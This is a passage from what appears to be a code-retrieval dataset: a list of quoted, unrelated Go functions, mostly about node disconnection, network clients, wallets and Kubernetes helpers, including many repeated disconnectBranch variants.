%v\", node.NodeURL, err)\n\t\treturn nil, err\n\t}\n\tdn.rpcClients.Store(nodeUUID, rclient)\n\n\treturn tproto.NewDataNodeClient(rclient.ClientConn), nil\n}", "func (b *BaseElement) GetDisownChannel() chan ElementI {\n\treturn b.DisownChannel\n}", "func (s State) Disconnected() bool {\n\treturn s == Disconnected\n}", "func d18disconnectBranch(node *d18nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (n *Node) notNil() *Node {\n\tif n != nil {\n\t\treturn n\n\t}\n\treturn &blankNode\n}", "func d2disconnectBranch(node *d2nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d14disconnectBranch(node *d14nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d20disconnectBranch(node *d20nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (t *clients) Disconnected(id string, reason mqttp.ReasonCode) {\n\tatomic.AddUint64(&t.curr.val, ^uint64(0))\n\n\tnm, _ := mqttp.New(mqttp.ProtocolV311, mqttp.PUBLISH)\n\tnotifyMsg, _ := nm.(*mqttp.Publish)\n\tnotifyMsg.SetRetain(false)\n\t_ = notifyMsg.SetQoS(mqttp.QoS0)\n\t_ = notifyMsg.SetTopic(t.topic + id + \"/disconnected\")\n\tnotifyPayload := clientDisconnectStatus{\n\t\tReason: \"normal\",\n\t\tTimestamp: time.Now().Format(time.RFC3339),\n\t}\n\n\tif out, err := json.Marshal(&notifyPayload); err != nil {\n\t\tnotifyMsg.SetPayload([]byte(\"data error\"))\n\t} else {\n\t\tnotifyMsg.SetPayload(out)\n\t}\n\n\t_ = t.topicsManager.Publish(notifyMsg)\n\n\t// remove connected retained message\n\tnm, _ = mqttp.New(mqttp.ProtocolV311, mqttp.PUBLISH)\n\tnotifyMsg, _ = nm.(*mqttp.Publish)\n\tnotifyMsg.SetRetain(false)\n\t_ = notifyMsg.SetQoS(mqttp.QoS0)\n\t_ = notifyMsg.SetTopic(t.topic + id + \"/connected\")\n\t_ = t.topicsManager.Retain(notifyMsg)\n}", "func unconnectedWallet(cfg *asset.WalletConfig, dcrCfg *walletConfig, chainParams *chaincfg.Params, logger dex.Logger, network dex.Network) (*ExchangeWallet, error) {\n\t// If set in the user config, the fallback fee will be in units of DCR/kB.\n\t// Convert to atoms/B.\n\tfallbackFeesPerByte := toAtoms(dcrCfg.FallbackFeeRate / 1000)\n\tif fallbackFeesPerByte == 0 {\n\t\tfallbackFeesPerByte = defaultFee\n\t}\n\tlogger.Tracef(\"Fallback fees set at %d atoms/byte\", fallbackFeesPerByte)\n\n\t// If set in the user config, the fee rate limit will be in units of DCR/KB.\n\t// Convert to atoms/byte & error if value is smaller than smallest unit.\n\tfeesLimitPerByte := uint64(defaultFeeRateLimit)\n\tif dcrCfg.FeeRateLimit > 0 {\n\t\tfeesLimitPerByte = toAtoms(dcrCfg.FeeRateLimit / 1000)\n\t\tif feesLimitPerByte == 0 {\n\t\t\treturn nil, fmt.Errorf(\"Fee rate limit is smaller than smallest unit: %v\",\n\t\t\t\tdcrCfg.FeeRateLimit)\n\t\t}\n\t}\n\tlogger.Tracef(\"Fees rate limit set at %d atoms/byte\", feesLimitPerByte)\n\n\tredeemConfTarget := dcrCfg.RedeemConfTarget\n\tif redeemConfTarget == 0 {\n\t\tredeemConfTarget = defaultRedeemConfTarget\n\t}\n\tlogger.Tracef(\"Redeem conf target set to %d blocks\", redeemConfTarget)\n\n\t// Both UnmixedAccount and TradingAccount must be provided if primary\n\t// account is a mixed account. Providing one but not the other is bad\n\t// configuration. If set, the account names will be validated on Connect.\n\tif (dcrCfg.UnmixedAccount == \"\") != (dcrCfg.TradingAccount == \"\") {\n\t\treturn nil, fmt.Errorf(\"'Change Account Name' and 'Temporary Trading Account' MUST \"+\n\t\t\t\"be set to treat %[1]q as a mixed account. If %[1]q is not a mixed account, values \"+\n\t\t\t\"should NOT be set for 'Change Account Name' and 'Temporary Trading Account'\",\n\t\t\tdcrCfg.PrimaryAccount)\n\t}\n\tif dcrCfg.UnmixedAccount != \"\" {\n\t\tswitch {\n\t\tcase dcrCfg.PrimaryAccount == dcrCfg.UnmixedAccount:\n\t\t\treturn nil, fmt.Errorf(\"Primary Account should not be the same as Change Account\")\n\t\tcase dcrCfg.PrimaryAccount == dcrCfg.TradingAccount:\n\t\t\treturn nil, fmt.Errorf(\"Primary Account should not be the same as Temporary Trading Account\")\n\t\tcase dcrCfg.TradingAccount == dcrCfg.UnmixedAccount:\n\t\t\treturn nil, fmt.Errorf(\"Temporary Trading Account should not be the same as Change Account\")\n\t\t}\n\t}\n\n\treturn &ExchangeWallet{\n\t\tlog: logger,\n\t\tchainParams: chainParams,\n\t\tnetwork: network,\n\t\tprimaryAcct: dcrCfg.PrimaryAccount,\n\t\tunmixedAccount: dcrCfg.UnmixedAccount,\n\t\ttradingAccount: dcrCfg.TradingAccount,\n\t\ttipChange: cfg.TipChange,\n\t\tpeersChange: cfg.PeersChange,\n\t\tfundingCoins: make(map[outPoint]*fundingCoin),\n\t\tfindRedemptionQueue: make(map[outPoint]*findRedemptionReq),\n\t\texternalTxCache: make(map[chainhash.Hash]*externalTx),\n\t\tfallbackFeeRate: fallbackFeesPerByte,\n\t\tfeeRateLimit: feesLimitPerByte,\n\t\tredeemConfTarget: redeemConfTarget,\n\t\tuseSplitTx: dcrCfg.UseSplitTx,\n\t\tapiFeeFallback: dcrCfg.ApiFeeFallback,\n\t\toracleFees: make(map[uint64]feeStamped),\n\t}, nil\n}", "func (u *Util) GetAvailableDomainInNodeLabel(fullAD string) string {\n\tadElements := strings.Split(fullAD, \":\")\n\tif len(adElements) > 0 {\n\t\trealAD := adElements[len(adElements)-1]\n\t\tu.Logger.Infof(\"Converted %q to %q\", fullAD, realAD)\n\t\treturn realAD\n\n\t}\n\tu.Logger.With(\"fullAD\", fullAD).Error(\"Available Domain for Node Label not found.\")\n\treturn \"\"\n}", "func d8disconnectBranch(node *d8nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (c *Config) DBUrlWithoutDBName() string {\n\treturn fmt.Sprintf(\n\t\t\"%s:%s@tcp(%s:%s)/?charset=utf8&parseTime=True&loc=Local\",\n\t\tc.DBUser,\n\t\tc.DBPassword,\n\t\tc.DBHost,\n\t\tc.DBPort,\n\t)\n}", "func (c *Config) DBUrlWithoutDBName() string {\n\treturn fmt.Sprintf(\n\t\t\"%s:%s@tcp(%s:%s)/?charset=utf8&parseTime=True&loc=Local\",\n\t\tc.DBUser,\n\t\tc.DBPassword,\n\t\tc.DBHost,\n\t\tc.DBPort,\n\t)\n}", "func getNonControlPlaneNodes(ctx context.Context, cli clientset.Interface) ([]corev1.Node, error) {\n\tnodeList, err := cli.CoreV1().Nodes().List(ctx, metav1.ListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(nodeList.Items) == 0 {\n\t\treturn nil, fmt.Errorf(\"no nodes found in the cluster\")\n\t}\n\n\tcontrolPlaneTaint := corev1.Taint{\n\t\tEffect: corev1.TaintEffectNoSchedule,\n\t\tKey: \"node-role.kubernetes.io/control-plane\",\n\t}\n\tout := []corev1.Node{}\n\tfor _, node := range nodeList.Items {\n\t\tif !taintutils.TaintExists(node.Spec.Taints, &controlPlaneTaint) {\n\t\t\tout = append(out, node)\n\t\t}\n\t}\n\n\tif len(out) == 0 {\n\t\treturn nil, fmt.Errorf(\"no non-control-plane nodes found in the cluster\")\n\t}\n\treturn out, nil\n}", "func d19disconnectBranch(node *d19nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d11disconnectBranch(node *d11nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d12disconnectBranch(node *d12nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d9disconnectBranch(node *d9nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d7disconnectBranch(node *d7nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func GetNodeSync(cfg *config.Config, c client.Client) string {\n\tvar status, sync string\n\tq := client.NewQuery(\"SELECT last(synced) FROM heimdall_node_synced\", cfg.InfluxDB.Database, \"\")\n\tif response, err := c.Query(q); err == nil && response.Error() == nil {\n\t\tfor _, r := range response.Results {\n\t\t\tif len(r.Series) != 0 {\n\t\t\t\tfor idx, col := range r.Series[0].Columns {\n\t\t\t\t\tif col == \"last\" {\n\t\t\t\t\t\ts := r.Series[0].Values[0][idx]\n\t\t\t\t\t\tsync = fmt.Sprintf(\"%v\", s)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif sync == \"1\" {\n\t\tstatus = \"synced\"\n\t} else {\n\t\tstatus = \"not synced\"\n\t}\n\n\treturn status\n}", "func (gdp *GenesisDataProvider) GetNodeDomain(ctx context.Context) (*core.RecordRef, error) {\n\tif gdp.nodeDomainRef == nil {\n\t\terr := gdp.setInfo(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"[ GenesisDataProvider::GetNodeDomain ] Can't get info\")\n\t\t}\n\t}\n\treturn gdp.nodeDomainRef, nil\n}", "func (c *client) GetDummyNetwork() (*cnicurrent.Result, string, error) {\n\t// TODO: virtlet pod restarts should not grab another address for\n\t// the gateway. That's not a big problem usually though\n\t// as the IPs are not returned to Calico so both old\n\t// IPs on existing VMs and new ones should work.\n\tpodID := utils.NewUUID()\n\tif err := CreateNetNS(podID); err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"couldn't create netns for fake pod %q: %v\", podID, err)\n\t}\n\tr, err := c.AddSandboxToNetwork(podID, \"\", \"\")\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"couldn't set up CNI for fake pod %q: %v\", podID, err)\n\t}\n\treturn r, PodNetNSPath(podID), nil\n}", "func d4disconnectBranch(node *d4nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func d17disconnectBranch(node *d17nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (notifee *Notifee) Disconnected(net network.Network, conn network.Conn) {\n\n\tnotifee.logger.Info().Msgf(\n\t\t\"Disconnected from peer %s\",\n\t\tconn.RemotePeer().Pretty(),\n\t)\n\tpinfo := notifee.myRelayPeer\n\tif conn.RemotePeer().Pretty() != pinfo.ID.Pretty() {\n\t\treturn\n\t}\n\n\tnotifee.myHost.Peerstore().AddAddrs(pinfo.ID, pinfo.Addrs, peerstore.PermanentAddrTTL)\n\tfor {\n\t\tvar err error\n\t\tselect {\n\t\tcase _, open := <-notifee.closing:\n\t\t\tif !open {\n\t\t\t\treturn\n\t\t\t}\n\t\tdefault:\n\t\t\tnotifee.logger.Warn().Msgf(\n\t\t\t\t\"Lost connection to relay peer %s, reconnecting...\",\n\t\t\t\tpinfo.ID.Pretty(),\n\t\t\t)\n\t\t\tctx, cancel := context.WithTimeout(context.Background(), reconnectTimeout)\n\t\t\tdefer cancel()\n\t\t\tif err = notifee.myHost.Connect(ctx, pinfo); err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(1 * time.Second)\n\n\t\t}\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tnotifee.logger.Info().Msgf(\"Connection to relay peer %s reestablished\", pinfo.ID.Pretty())\n}", "func NewUnconnectedNeuron() *Neuron {\n\t// Pre-allocate room for 16 connections and use Linear as the default activation function\n\tneuron := Neuron{Net: nil, InputNodes: make([]NeuronIndex, 0, 16), ActivationFunction: Linear}\n\tneuron.neuronIndex = -1\n\treturn &neuron\n}", "func (o *BaseReportTransaction) GetUnofficialCurrencyCode() string {\n\tif o == nil || o.UnofficialCurrencyCode.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn *o.UnofficialCurrencyCode.Get()\n}", "func getUnreadyEgressGateway(egws []operatorv1.EgressGateway) *operatorv1.EgressGateway {\n\tfor _, egw := range egws {\n\t\tif egw.Status.State != operatorv1.TigeraStatusReady {\n\t\t\treturn &egw\n\t\t}\n\t}\n\treturn nil\n}", "func (hs *HealthStatusInfo) DisconnectedFromBroker() {\n\ths.lock()\n\tdefer hs.unLock()\n\tMQTTHealth.DisconnectedFromMQTTBroker = true\n\tMQTTHealth.disconnectFromBrokerStartTime = time.Now()\n\tMQTTHealth.LastDisconnectFromBrokerDuration = 0\n}", "func (x UnavailableEntity) GetNRDBQuery() nrdb.NRDBResultContainer {\n\treturn x.NRDBQuery\n}", "func d15disconnectBranch(node *d15nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func NewRealBackend(nodeURL string) (*RealBackend, error) {\n\tconn, err := ethclient.Dial(nodeURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &RealBackend{conn}, nil\n}", "func (hs *Handshake) Disconnected(c p2p.Conn) {\n\tfmt.Println(\"disconnect\")\n}", "func (m *Mock) Disconnected(peer p2p.Peer) {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tm.peers = swarm.RemoveAddress(m.peers, peer.Address)\n\n\tm.Trigger()\n}", "func d1disconnectBranch(node *d1nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func unregisterCRGet(L *lua.LState) int {\n\tp := checkUnregisterCR(L, 1)\n\tfmt.Println(p)\n\n\treturn 0\n}", "func d5disconnectBranch(node *d5nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func testBackend(segwit bool) (*Backend, func()) {\n\tlogger := dex.StdOutLogger(\"TEST\", dex.LevelTrace)\n\t// skip both loading config file and rpcclient.New in Connect. Manually\n\t// create the Backend and set the node to our node stub.\n\tbtc := newBTC(\"btc\", segwit, testParams, logger, nil)\n\tbtc.node = &testNode{}\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tbtc.run(ctx)\n\t\twg.Done()\n\t}()\n\tshutdown := func() {\n\t\tcancel()\n\t\twg.Wait()\n\t}\n\treturn btc, shutdown\n}", "func (m *ZebraFotaConnectorRequestBuilder) Disconnect()(*ZebraFotaConnectorDisconnectRequestBuilder) {\n return NewZebraFotaConnectorDisconnectRequestBuilderInternal(m.BaseRequestBuilder.PathParameters, m.BaseRequestBuilder.RequestAdapter)\n}", "func MustGetChannel(cID string) *discordgo.Channel {\n\tc, err := BotSession.State.Channel(cID)\n\tif err != nil {\n\t\tpanic(\"Failed retrieving channel from state: \" + err.Error())\n\t}\n\treturn c\n}", "func (c *Client) UnsetNode(dir string) {\n\tc.client.Delete(context.Background(), dir, nil)\n}", "func (b *Bootstrapper) GetNodeDomainRef() *core.RecordRef {\n\treturn b.nodeDomainRef\n}", "func NewGetNodeUnprocessableEntity() *GetNodeUnprocessableEntity {\n\treturn &GetNodeUnprocessableEntity{}\n}", "func (client NotificationDataPlaneClient) GetUnsubscription(ctx context.Context, request GetUnsubscriptionRequest) (response GetUnsubscriptionResponse, err error) {\n\tvar ociResponse common.OCIResponse\n\tpolicy := common.NoRetryPolicy()\n\tif request.RetryPolicy() != nil {\n\t\tpolicy = *request.RetryPolicy()\n\t}\n\tociResponse, err = common.Retry(ctx, request, client.getUnsubscription, policy)\n\tif err != nil {\n\t\tif ociResponse != nil {\n\t\t\tresponse = GetUnsubscriptionResponse{RawResponse: ociResponse.HTTPResponse()}\n\t\t}\n\t\treturn\n\t}\n\tif convertedResponse, ok := ociResponse.(GetUnsubscriptionResponse); ok {\n\t\tresponse = convertedResponse\n\t} else {\n\t\terr = fmt.Errorf(\"failed to convert OCIResponse into GetUnsubscriptionResponse\")\n\t}\n\treturn\n}", "func NewGetBackendNotFound() *GetBackendNotFound {\n\n\treturn &GetBackendNotFound{}\n}", "func (vl *VlanBridge) SwitchDisconnected(sw *ofctrl.OFSwitch) {\n\t// FIXME: ??\n}", "func IsNotConnected(err error) bool {\n\t_, ok := err.(*NotConnected)\n\treturn ok\n}", "func (node *Node) Unsubscribe() error {\n\tif !node.IsOnline() {\n\t\treturn ErrOffline\n\t}\n\tif node.project == \"\" {\n\t\treturn nil\n\t}\n\terr := node.subscription.Cancel()\n\tif err != nil {\n\t\treturn err\n\t}\n\tnode.subscription = nil\n\tnode.project = \"\"\n\treturn nil\n}", "func (dn *DNode) reconnectDnclient(clusterType, nodeUUID string) (tproto.DataNodeClient, error) {\n\t// close and delete existing rpc client\n\teclient, ok := dn.rpcClients.Load(nodeUUID)\n\tif ok {\n\t\teclient.(*rpckit.RPCClient).Close()\n\t\tdn.rpcClients.Delete(nodeUUID)\n\t}\n\n\treturn dn.getDnclient(clusterType, nodeUUID)\n}", "func d13disconnectBranch(node *d13nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (dcr *DCRBackend) shutdown() {\n\tif dcr.client != nil {\n\t\tdcr.client.Shutdown()\n\t\tdcr.client.WaitForShutdown()\n\t}\n}", "func UnseenNodes() ([]*Node, error) {\n\tif config.UsingDB() {\n\t\treturn unseenNodesSQL()\n\t}\n\tvar downNodes []*Node\n\tnodes := AllNodes()\n\tt := time.Now().Add(-10 * time.Minute)\n\tfor _, n := range nodes {\n\t\tns, _ := n.LatestStatus()\n\t\tif ns == nil || n.isDown {\n\t\t\tcontinue\n\t\t}\n\t\tif ns.UpdatedAt.Before(t) {\n\t\t\tdownNodes = append(downNodes, n)\n\t\t}\n\t}\n\treturn downNodes, nil\n}", "func getHealthyNode(clientset kubernetes.Interface) (string, error) {\n\tnodes, err := clientset.CoreV1().Nodes().List(metav1.ListOptions{})\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"Failed to get nodes\")\n\t}\n\tfor _, node := range nodes.Items {\n\t\tfor _, cond := range node.Status.Conditions {\n\t\t\tif cond.Type == corev1.NodeReady && cond.Status == corev1.ConditionTrue {\n\t\t\t\treturn node.ObjectMeta.Name, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", errors.Wrap(err, \"No healthy node found\")\n}", "func GetUncategorizedBoard(projectID int64) (*ProjectBoard, error) {\n\treturn &ProjectBoard{\n\t\tProjectID: projectID,\n\t\tTitle: \"Uncategorized\",\n\t\tDefault: true,\n\t}, nil\n}", "func (ct *ClusterTopology) GetInactiveNodes() (nodes []*ClusterTopologyNode) {\n\tnodes = make([]*ClusterTopologyNode, 0)\n\tmux.RLock()\n\tdefer mux.RUnlock()\n\tfor _, nd := range ct.Nodes {\n\t\tif Active != nd.Node.State {\n\t\t\tnodes = append(nodes, nd)\n\t\t}\n\t}\n\treturn nodes\n}", "func GetBackend() *Backend {\n\treturn &gateway\n}", "func (c CodeNode) Empty() Node { return c }", "func NewDeregisterNodeNoContent() *DeregisterNodeNoContent {\n\n\treturn &DeregisterNodeNoContent{}\n}", "func NewBackend(ipc string, logger dex.Logger, network dex.Network) (*Backend, error) {\n\tcfg, err := load(ipc, network)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn unconnectedETH(logger, cfg), nil\n}", "func d6disconnectBranch(node *d6nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (s *BoltState) NetworkDisconnect(ctr *Container, network string) error {\n\tif !s.valid {\n\t\treturn define.ErrDBClosed\n\t}\n\n\tif !ctr.valid {\n\t\treturn define.ErrCtrRemoved\n\t}\n\n\tif network == \"\" {\n\t\treturn fmt.Errorf(\"network names must not be empty: %w\", define.ErrInvalidArg)\n\t}\n\n\tctrID := []byte(ctr.ID())\n\n\tdb, err := s.getDBCon()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer s.deferredCloseDBCon(db)\n\n\treturn db.Update(func(tx *bolt.Tx) error {\n\t\tctrBucket, err := getCtrBucket(tx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdbCtr := ctrBucket.Bucket(ctrID)\n\t\tif dbCtr == nil {\n\t\t\tctr.valid = false\n\t\t\treturn fmt.Errorf(\"container %s does not exist in database: %w\", ctr.ID(), define.ErrNoSuchCtr)\n\t\t}\n\n\t\tctrAliasesBkt := dbCtr.Bucket(aliasesBkt)\n\t\tctrNetworksBkt := dbCtr.Bucket(networksBkt)\n\t\tif ctrNetworksBkt == nil {\n\t\t\treturn fmt.Errorf(\"container %s is not connected to any networks, so cannot disconnect: %w\", ctr.ID(), define.ErrNoSuchNetwork)\n\t\t}\n\t\tnetConnected := ctrNetworksBkt.Get([]byte(network))\n\t\tif netConnected == nil {\n\t\t\treturn fmt.Errorf(\"container %s is not connected to network %q: %w\", ctr.ID(), network, define.ErrNoSuchNetwork)\n\t\t}\n\n\t\tif err := ctrNetworksBkt.Delete([]byte(network)); err != nil {\n\t\t\treturn fmt.Errorf(\"removing container %s from network %s: %w\", ctr.ID(), network, err)\n\t\t}\n\n\t\tif ctrAliasesBkt != nil {\n\t\t\tbktExists := ctrAliasesBkt.Bucket([]byte(network))\n\t\t\tif bktExists == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tif err := ctrAliasesBkt.DeleteBucket([]byte(network)); err != nil {\n\t\t\t\treturn fmt.Errorf(\"removing container %s network aliases for network %s: %w\", ctr.ID(), network, err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n}", "func (dqlx *dqlx) GetDgraph() *dgo.Dgraph {\n\treturn dqlx.dgraph\n}", "func (crdRC *crdRequestController) getNodeNetConfigDirect(cntxt context.Context, name, namespace string) (*nnc.NodeNetworkConfig, error) {\n\tvar (\n\t\tnodeNetworkConfig *nnc.NodeNetworkConfig\n\t\terr error\n\t)\n\n\tif nodeNetworkConfig, err = crdRC.directCRDClient.Get(cntxt, name, namespace, crdTypeName); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn nodeNetworkConfig, nil\n}", "func d16disconnectBranch(node *d16nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (instance *ClassicCluster) unsafeFindAvailableNode(inctx context.Context) (node resources.Host, _ fail.Error) {\n\tctx, cancel := context.WithCancel(inctx)\n\tdefer cancel()\n\n\ttype result struct {\n\t\trTr resources.Host\n\t\trErr fail.Error\n\t}\n\tchRes := make(chan result)\n\tgo func() {\n\t\tdefer close(chRes)\n\t\tgres, _ := func() (_ result, ferr fail.Error) {\n\t\t\tdefer fail.OnPanic(&ferr)\n\n\t\t\txerr := instance.beingRemoved(ctx)\n\t\t\txerr = debug.InjectPlannedFail(xerr)\n\t\t\tif xerr != nil {\n\t\t\t\treturn result{nil, xerr}, xerr\n\t\t\t}\n\n\t\t\tlist := instance.nodes\n\t\t\tif len(list) == 0 {\n\t\t\t\tnewm, xerr := instance.trueListNodes(ctx)\n\t\t\t\tif xerr != nil {\n\t\t\t\t\treturn result{nil, xerr}, xerr\n\t\t\t\t}\n\t\t\t\tfor _, v := range newm {\n\t\t\t\t\tlist = append(list, v.Core.ID)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsvc := instance.Service()\n\n\t\t\tfor _, v := range list {\n\t\t\t\tnode, xerr := LoadHost(ctx, svc, v)\n\t\t\t\txerr = debug.InjectPlannedFail(xerr)\n\t\t\t\tif xerr != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\treturn result{node, nil}, nil\n\t\t\t}\n\n\t\t\tar := result{nil, fail.NotAvailableError(\"failed to find available node\")}\n\t\t\treturn ar, ar.rErr\n\t\t}()\n\t\tchRes <- gres\n\t}()\n\tselect {\n\tcase res := <-chRes:\n\t\treturn res.rTr, res.rErr\n\tcase <-ctx.Done():\n\t\treturn nil, fail.ConvertError(ctx.Err())\n\tcase <-inctx.Done():\n\t\treturn nil, fail.ConvertError(inctx.Err())\n\t}\n}", "func GetUninitializedNotaryRepository(trust.ImageRefAndAuth, []string) (client.Repository, error) {\n\treturn UninitializedNotaryRepository{}, nil\n}", "func (m *UnsyncListMock) GetActiveNode(p core.RecordRef) (r core.Node) {\n\tcounter := atomic.AddUint64(&m.GetActiveNodePreCounter, 1)\n\tdefer atomic.AddUint64(&m.GetActiveNodeCounter, 1)\n\n\tif len(m.GetActiveNodeMock.expectationSeries) > 0 {\n\t\tif counter > uint64(len(m.GetActiveNodeMock.expectationSeries)) {\n\t\t\tm.t.Fatalf(\"Unexpected call to UnsyncListMock.GetActiveNode. %v\", p)\n\t\t\treturn\n\t\t}\n\n\t\tinput := m.GetActiveNodeMock.expectationSeries[counter-1].input\n\t\ttestify_assert.Equal(m.t, *input, UnsyncListMockGetActiveNodeInput{p}, \"UnsyncList.GetActiveNode got unexpected parameters\")\n\n\t\tresult := m.GetActiveNodeMock.expectationSeries[counter-1].result\n\t\tif result == nil {\n\t\t\tm.t.Fatal(\"No results are set for the UnsyncListMock.GetActiveNode\")\n\t\t\treturn\n\t\t}\n\n\t\tr = result.r\n\n\t\treturn\n\t}\n\n\tif m.GetActiveNodeMock.mainExpectation != nil {\n\n\t\tinput := m.GetActiveNodeMock.mainExpectation.input\n\t\tif input != nil {\n\t\t\ttestify_assert.Equal(m.t, *input, UnsyncListMockGetActiveNodeInput{p}, \"UnsyncList.GetActiveNode got unexpected parameters\")\n\t\t}\n\n\t\tresult := m.GetActiveNodeMock.mainExpectation.result\n\t\tif result == nil {\n\t\t\tm.t.Fatal(\"No results are set for the UnsyncListMock.GetActiveNode\")\n\t\t}\n\n\t\tr = result.r\n\n\t\treturn\n\t}\n\n\tif m.GetActiveNodeFunc == nil {\n\t\tm.t.Fatalf(\"Unexpected call to UnsyncListMock.GetActiveNode. %v\", p)\n\t\treturn\n\t}\n\n\treturn m.GetActiveNodeFunc(p)\n}", "func (v vehicleList) Disconnected(vehicleID string) {\n\tlog.Printf(\"Vehicle '%v' disconnected\\n\", vehicleID)\n\tdb.Delete(v.connectionKey(vehicleID))\n\t//v.vehicles.Delete(key(vehicle.ID))\n\tv.Publish(nil)\n}", "func (a *adapter) Disconnected(err error) {\n\tfmt.Printf(\"Disconnected...exiting\\n\")\n\tos.Exit(1)\n}", "func (o *CreditBankIncomeTransaction) GetUnofficialCurrencyCode() string {\n\tif o == nil || o.UnofficialCurrencyCode.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.UnofficialCurrencyCode.Get()\n}", "func (o *HistoricalBalance) GetUnofficialCurrencyCode() string {\n\tif o == nil || o.UnofficialCurrencyCode.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn *o.UnofficialCurrencyCode.Get()\n}", "func (r Virtual_Guest) GetBackendNetworkComponents() (resp []datatypes.Virtual_Guest_Network_Component, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest\", \"getBackendNetworkComponents\", nil, &r.Options, &resp)\n\treturn\n}", "func (a *adapter) Disconnected(err error) {\n\tfmt.Print(\"Disconnected...exiting\\n\")\n\tos.Exit(1)\n}", "func (az *Cloud) GetUnmanagedNodes() (sets.String, error) {\n\t// Kubelet won't set az.nodeInformerSynced, always return nil.\n\tif 